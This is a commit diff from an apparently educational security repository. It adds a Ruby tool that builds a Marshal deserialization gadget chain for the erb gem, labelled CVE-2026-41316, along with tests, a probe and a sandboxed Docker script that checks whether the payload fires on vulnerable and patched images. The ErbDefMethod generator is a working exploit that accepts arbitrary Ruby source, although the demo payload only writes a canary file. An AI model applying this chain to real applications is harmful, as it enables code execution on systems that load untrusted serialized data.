Building 70 Projects ranging from beginner to advanced so anyone can — learn from, build upon, use as a reference, or even copy directly. Owned by my cybersecurity company đŸ‘‡
Go aicertificationcloud-engineeringcybercybersecuritycybersecurity-analystcybersecurity-certificationcybersecurity-certificationscybersecurity-educationcybersecurity-jobscybersecurity-portfoliocybersecurity-projectscybersecurity-toolsgrchackinglearningpentestingproject-repositoryprojetcspython
feat(rube): M4 payload builder - working CVE-2026-41316 chain with version-predicted gate
CarterPerez-devbd89c6704aff
diff --git a/PROJECTS/beginner/deserialization-gadget-lab/justfile b/PROJECTS/beginner/deserialization-gadget-lab/justfileindex 38e0a41e..24d5108a 100644--- a/PROJECTS/beginner/deserialization-gadget-lab/justfile+++ b/PROJECTS/beginner/deserialization-gadget-lab/justfile@@ -14,6 +14,7 @@ default:test:{{run_ro}} ruby -Ilib -Itest test/marshal/parser_test.rb{{run_ro}} ruby -Ilib -Itest test/scanner_test.rb+ {{run_ro}} ruby -Ilib -Itest test/chains_test.rbscan namespace="":{{run_ro}} ruby -Ilib -e 'require "rube"; ns = "{{namespace}}"; r = Rube::Scanner.new(namespace: ns.empty? ? nil : ns).scan; puts "modules=#{r.scanned_modules} candidates=#{r.candidates.length} gated=#{r.gated.length} reachable=#{r.reachable.length}"; puts; r.reachable.each { |c| puts format(" %-10s %-46s %s", c.gate, c.to_s, c.source_location) }'@@ -32,6 +33,11 @@ probe:matrix:@bash scripts/version-matrix.sh+exploit:+ @bash scripts/exploit-gate.sh++gate: check matrix exploit+build:{{run}} sh -c "gem build --strict rube.gemspec"diff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/rube.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/rube.rbindex 2c889a9a..97ccc1c5 100644--- a/PROJECTS/beginner/deserialization-gadget-lab/lib/rube.rb+++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/rube.rb@@ -7,6 +7,7 @@ require_relative "rube/marshal/errors"require_relative "rube/marshal/node"require_relative "rube/marshal/parser"require_relative "rube/scanner"+require_relative "rube/chains"module Rubeenddiff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/rube/chains.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/rube/chains.rbnew file mode 100644index 00000000..42cc3002--- /dev/null+++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/rube/chains.rb@@ -0,0 +1,34 @@+# ©AngelaMos | 2026+# chains.rb++module Rube+ module Chains+ class UnknownChainError < StandardError; end++ @registry = []++ class << self+ attr_reader :registry++ def register(chain)+ @registry << chain unless @registry.include?(chain)+ end++ def all+ registry.reject { |chain| chain == Base }+ end++ def find(name)+ all.find { |chain| chain.chain_name == name } ||+ raise(UnknownChainError, name.to_s)+ end++ def for_version(gem_name, version)+ all.select { |chain| chain.target_gem == gem_name && chain.affects?(version) }+ end+ end+ end+end++require_relative "chains/base"+require_relative "chains/erb_def_method"diff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/rube/chains/base.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/rube/chains/base.rbnew file mode 100644index 00000000..0732465d--- /dev/null+++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/rube/chains/base.rb@@ -0,0 +1,59 @@+# ©AngelaMos | 2026+# base.rb++module Rube+ module Chains+ class ChainError < StandardError; end++ class NotImplementedByChainError < ChainError; end++ class Base+ NAMESPACE_SEPARATOR = "::"+ SUBCLASS_MUST_DEFINE = "chain must define"++ class << self+ def inherited(subclass)+ super+ Chains.register(subclass)+ end++ def metadata+ raise NotImplementedByChainError, "#{SUBCLASS_MUST_DEFINE} metadata"+ end++ def chain_name+ metadata.fetch(:name)+ end++ def vector+ metadata.fetch(:vector)+ end++ def cve+ metadata.fetch(:cve)+ end++ def target_gem+ metadata.fetch(:gem)+ end++ def affected_requirements+ metadata.fetch(:affected).map { |constraint| Gem::Requirement.new(constraint) }+ end++ def affects?(version)+ candidate = Gem::Version.new(version.to_s)+ affected_requirements.any? { |requirement| requirement.satisfied_by?(candidate) }+ end+ end++ def generate+ raise NotImplementedByChainError, "#{SUBCLASS_MUST_DEFINE} generate"+ end++ def serialize+ ::Marshal.dump(generate)+ end+ end+ end+enddiff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/rube/chains/erb_def_method.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/rube/chains/erb_def_method.rbnew file mode 100644index 00000000..81dc1d90--- /dev/null+++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/rube/chains/erb_def_method.rb@@ -0,0 +1,68 @@+# ©AngelaMos | 2026+# erb_def_method.rb++module Rube+ module Chains+ class ErbDefMethod < Base+ CHAIN_NAME = "erb-def-method"+ VECTOR = "def_method"+ CVE = "CVE-2026-41316"+ TARGET_GEM = "erb"++ AFFECTED = [+ "< 4.0.3.1",+ "= 4.0.4",+ [">= 5.0.0", "< 6.0.1.1"],+ [">= 6.0.2", "< 6.0.4"]+ ].freeze++ SRC_PREFIX = "#\nend\n"+ SRC_SUFFIX = "\ndef _rube_unused\n"+ DEFAULT_FILENAME = "(erb)"+ DEFAULT_LINENO = 0++ IVAR_SRC = :@src+ IVAR_FILENAME = :@filename+ IVAR_LINENO = :@lineno++ CANARY_TEMPLATE = 'File.write(%<path>p, %<marker>p)'++ def self.metadata+ {+ name: CHAIN_NAME,+ vector: VECTOR,+ cve: CVE,+ gem: TARGET_GEM,+ affected: AFFECTED+ }+ end++ def self.canary(path, marker)+ new(format(CANARY_TEMPLATE, path: path, marker: marker))+ end++ def initialize(ruby_source)+ super()+ @ruby_source = ruby_source+ end++ def generate+ require "erb"++ object = ERB.allocate+ object.instance_variable_set(IVAR_SRC, src)+ object.instance_variable_set(IVAR_FILENAME, DEFAULT_FILENAME)+ object.instance_variable_set(IVAR_LINENO, DEFAULT_LINENO)+ object+ end++ def src+ "#{SRC_PREFIX}#{@ruby_source}#{SRC_SUFFIX}"+ end++ private++ attr_reader :ruby_source+ end+ end+enddiff --git a/PROJECTS/beginner/deserialization-gadget-lab/scripts/exploit-gate.sh b/PROJECTS/beginner/deserialization-gadget-lab/scripts/exploit-gate.shnew file mode 100755index 00000000..1599321d--- /dev/null+++ b/PROJECTS/beginner/deserialization-gadget-lab/scripts/exploit-gate.sh@@ -0,0 +1,68 @@+#!/usr/bin/env bash+# ©AngelaMos | 2026+# exploit-gate.sh++set -uo pipefail++HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"++VULNERABLE_IMAGE="ruby:4.0.2-slim"+PATCHED_IMAGE="ruby:4.0-slim"++run_probe() {+ local image="$1"+ docker run --rm \+ --network none \+ --read-only \+ --tmpfs /tmp:rw,noexec,nosuid,size=1m \+ --user nobody \+ -e "MATRIX_IMAGE=${image#ruby:}" \+ -v "${HERE}/lib:/app/lib:ro" \+ -v "${HERE}/test/support/exploit_probe.rb:/app/probe.rb:ro" \+ -w /app \+ "${image}" ruby -Ilib /app/probe.rb 2>&1+}++echo "CVE-2026-41316 exploit gate"+echo++vulnerable_output="$(run_probe "${VULNERABLE_IMAGE}")"+vulnerable_status=$?+echo " ${vulnerable_output}"++patched_output="$(run_probe "${PATCHED_IMAGE}")"+patched_status=$?+echo " ${patched_output}"++echo+failures=0++if [[ "${vulnerable_output}" == *"outcome=FIRED"* ]]; then+ echo " PASS payload executes on the vulnerable image"+else+ echo " FAIL payload did not execute on the vulnerable image"+ failures=$((failures + 1))+fi++if [[ "${patched_output}" == *"outcome=BLOCKED"* ]]; then+ echo " PASS patched image blocks the same payload"+else+ echo " FAIL patched image did not block the payload"+ failures=$((failures + 1))+fi++if [[ ${vulnerable_status} -eq 0 && ${patched_status} -eq 0 ]]; then+ echo " PASS observed outcome matched the chain metadata prediction on both"+else+ echo " FAIL observed outcome contradicted the chain metadata prediction"+ failures=$((failures + 1))+fi++echo+if [[ ${failures} -eq 0 ]]; then+ echo "GATE PASSED"+ exit 0+fi++echo "GATE FAILED (${failures})"+exit 1diff --git a/PROJECTS/beginner/deserialization-gadget-lab/test/chains_test.rb b/PROJECTS/beginner/deserialization-gadget-lab/test/chains_test.rbnew file mode 100644index 00000000..8c54043b--- /dev/null+++ b/PROJECTS/beginner/deserialization-gadget-lab/test/chains_test.rb@@ -0,0 +1,88 @@+# ©AngelaMos | 2026+# chains_test.rb++require_relative "test_helper"++module Rube+ module Chains+ class ChainsTest < Minitest::Test+ CANARY_PATH = "/tmp/rube-canary"+ CANARY_MARKER = "fired"++ def chain+ ErbDefMethod.canary(CANARY_PATH, CANARY_MARKER)+ end++ def test_registry_excludes_the_base_class+ refute_includes Chains.all, Base+ end++ def test_registry_contains_the_erb_chain+ assert_includes Chains.all, ErbDefMethod+ end++ def test_find_by_name+ assert_equal ErbDefMethod, Chains.find("erb-def-method")+ end++ def test_find_raises_on_unknown_name+ assert_raises(UnknownChainError) { Chains.find("no-such-chain") }+ end++ def test_metadata_is_complete+ assert_equal "erb-def-method", ErbDefMethod.chain_name+ assert_equal "def_method", ErbDefMethod.vector+ assert_equal "CVE-2026-41316", ErbDefMethod.cve+ assert_equal "erb", ErbDefMethod.target_gem+ end++ def test_affects_reproduces_the_published_ranges+ { "2.2.3" => true, "4.0.2" => true, "4.0.3" => true, "4.0.4" => true,+ "5.0.0" => true, "6.0.1" => true, "6.0.2" => true, "6.0.3" => true,+ "4.0.3.1" => false, "4.0.4.1" => false, "6.0.1.1" => false, "6.0.4" => false }.each do |version, expected|+ assert_equal expected, ErbDefMethod.affects?(version), "erb #{version}"+ end+ end++ def test_for_version_selects_matching_chains+ assert_includes Chains.for_version("erb", "6.0.1"), ErbDefMethod+ assert_empty Chains.for_version("erb", "6.0.1.1")+ end++ def test_generate_returns_an_object_not_bytes+ assert_kind_of ERB, chain.generate+ end++ def test_generated_object_carries_the_payload_source+ assert_includes chain.generate.instance_variable_get(:@src), CANARY_PATH+ end++ def test_generated_object_omits_the_init_sentinel+ refute_includes chain.generate.instance_variables, :@_init+ end++ def test_src_closes_the_injected_def_before_the_payload+ assert_match(/\A#\nend\n/, chain.src)+ end++ def test_serialize_produces_a_loadable_marshal_stream+ blob = chain.serialize+ assert_equal 4, blob.getbyte(0)+ assert_equal 8, blob.getbyte(1)+ end++ def test_payload_is_visible_to_the_parser_without_deserializing+ result = Rube::Marshal::Parser.new(chain.serialize).parse+ assert_includes result.class_names, "ERB"+ end++ def test_base_refuses_to_generate+ assert_raises(NotImplementedByChainError) { Base.new.generate }+ end++ def test_base_refuses_metadata+ assert_raises(NotImplementedByChainError) { Base.metadata }+ end+ end+ end+enddiff --git a/PROJECTS/beginner/deserialization-gadget-lab/test/support/exploit_probe.rb b/PROJECTS/beginner/deserialization-gadget-lab/test/support/exploit_probe.rbnew file mode 100644index 00000000..6812d23e--- /dev/null+++ b/PROJECTS/beginner/deserialization-gadget-lab/test/support/exploit_probe.rb@@ -0,0 +1,43 @@+# ©AngelaMos | 2026+# exploit_probe.rb++require "rube"++CANARY_PATH = "/tmp/rube-canary"+CANARY_MARKER = "fired"+RESULT_FIRED = "FIRED"+RESULT_BLOCKED = "BLOCKED"+RESULT_INERT = "INERT"++erb_version = Gem::Specification.find_all_by_name("erb").map(&:version).max.to_s+chain = Rube::Chains::ErbDefMethod.canary(CANARY_PATH, CANARY_MARKER)+blob = chain.serialize++inspection = Rube::Marshal::Parser.new(blob).parse++File.delete(CANARY_PATH) if File.exist?(CANARY_PATH)++revived = Marshal.load(blob)+detail = begin+ revived.def_method(Module.new, "rube_probe")+ "def_method returned"+rescue StandardError => e+ "#{e.class}: #{e.message}"+end++fired = File.exist?(CANARY_PATH) && File.read(CANARY_PATH) == CANARY_MARKER+outcome = if fired+ RESULT_FIRED+ elsif detail.start_with?("ArgumentError")+ RESULT_BLOCKED+ else+ RESULT_INERT+ end++predicted = Rube::Chains::ErbDefMethod.affects?(erb_version) ? RESULT_FIRED : RESULT_BLOCKED++puts format("%-9s erb=%-9s outcome=%-8s predicted=%-8s classes=%-6s %s",+ ENV.fetch("MATRIX_IMAGE", "?"), erb_version, outcome, predicted,+ inspection.class_names.join(","), detail)++exit(outcome == predicted ? 0 : 1)